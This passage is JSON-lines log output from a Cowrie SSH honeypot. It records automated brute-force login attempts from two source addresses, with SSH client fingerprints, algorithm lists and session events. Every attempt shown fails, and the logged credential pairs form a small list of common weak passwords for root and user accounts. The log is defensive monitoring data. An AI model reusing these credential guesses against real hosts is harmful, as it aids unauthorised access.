md160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:29.698723Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:29.949892Z","src_ip":"60.165.124.241","session":"ad98d081d2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20061977","message":"login attempt [user/20061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:30.177053Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47124,"dst_ip":"10.17.0.5","dst_port":22,"session":"649f8c75cb3e","protocol":"ssh","message":"New connection: 60.165.124.241:47124 (10.17.0.5:22) [session: 649f8c75cb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:30.201789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:30.207926Z","src_ip":"60.165.124.241","session":"649f8c75cb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:30.464117Z","src_ip":"60.165.124.241","session":"649f8c75cb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timeserver","message":"login attempt [root/timeserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:31.241357Z","src_ip":"60.165.124.241","session":"649f8c75cb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Mustang","message":"login attempt [user/1Mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:31.281282Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Dallas","message":"login attempt [user/1Dallas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:32.385378Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:32.496128Z","src_ip":"60.165.124.241","session":"649f8c75cb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50206,"dst_ip":"10.17.0.5","dst_port":22,"session":"118e415c21e7","protocol":"ssh","message":"New connection: 60.165.124.241:50206 (10.17.0.5:22) [session: 118e415c21e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:32.737318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:32.745434Z","src_ip":"60.165.124.241","session":"118e415c21e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:33.003011Z","src_ip":"60.165.124.241","session":"118e415c21e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1a2a3a","message":"login attempt [user/1a2a3a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:33.488588Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@123","message":"login attempt [root/Qwerty@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:33.745283Z","src_ip":"60.165.124.241","session":"118e415c21e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"197","message":"login attempt [user/197] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:34.599002Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:34.999575Z","src_ip":"60.165.124.241","session":"118e415c21e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52926,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b492909a25","protocol":"ssh","message":"New connection: 60.165.124.241:52926 (10.17.0.5:22) [session: e2b492909a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:35.241792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:35.246464Z","src_ip":"60.165.124.241","session":"e2b492909a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:35.484542Z","src_ip":"60.165.124.241","session":"e2b492909a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:35.702170Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comein","message":"login attempt [root/comein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:36.222583Z","src_ip":"60.165.124.241","session":"e2b492909a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:37.471433Z","src_ip":"60.165.124.241","session":"e2b492909a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55890,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebbc72c10a58","protocol":"ssh","message":"New connection: 60.165.124.241:55890 (10.17.0.5:22) [session: ebbc72c10a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:37.715418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:37.720205Z","src_ip":"60.165.124.241","session":"ebbc72c10a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:37.966391Z","src_ip":"60.165.124.241","session":"ebbc72c10a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Lh","message":"login attempt [root/123456Lh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:38.710824Z","src_ip":"60.165.124.241","session":"ebbc72c10a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:39.961886Z","src_ip":"60.165.124.241","session":"ebbc72c10a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"9228cbfb8ebc","protocol":"ssh","message":"New connection: 60.165.124.241:58772 (10.17.0.5:22) [session: 9228cbfb8ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:40.213831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:40.218282Z","src_ip":"60.165.124.241","session":"9228cbfb8ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:40.466054Z","src_ip":"60.165.124.241","session":"9228cbfb8ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Diamond1","message":"login attempt [root/Diamond1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:41.260518Z","src_ip":"60.165.124.241","session":"9228cbfb8ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:42.528428Z","src_ip":"60.165.124.241","session":"9228cbfb8ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33758,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6a8f18e5e9","protocol":"ssh","message":"New connection: 60.165.124.241:33758 (10.17.0.5:22) [session: ea6a8f18e5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:42.773358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:42.777850Z","src_ip":"60.165.124.241","session":"ea6a8f18e5e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:43.018742Z","src_ip":"60.165.124.241","session":"ea6a8f18e5e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:43.780480Z","src_ip":"60.165.124.241","session":"ea6a8f18e5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:45.038275Z","src_ip":"60.165.124.241","session":"ea6a8f18e5e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36500,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0e960f67464","protocol":"ssh","message":"New connection: 60.165.124.241:36500 (10.17.0.5:22) [session: d0e960f67464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:45.284287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:45.288931Z","src_ip":"60.165.124.241","session":"d0e960f67464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:45.534772Z","src_ip":"60.165.124.241","session":"d0e960f67464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2012","message":"login attempt [root/Root@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:46.293462Z","src_ip":"60.165.124.241","session":"d0e960f67464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:47.552847Z","src_ip":"60.165.124.241","session":"d0e960f67464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39458,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c4c4df78013","protocol":"ssh","message":"New connection: 60.165.124.241:39458 (10.17.0.5:22) [session: 0c4c4df78013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:47.790525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:47.795091Z","src_ip":"60.165.124.241","session":"0c4c4df78013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:48.050126Z","src_ip":"60.165.124.241","session":"0c4c4df78013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin888..","message":"login attempt [root/admin888..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:48.799703Z","src_ip":"60.165.124.241","session":"0c4c4df78013","protocol":"ssh"}
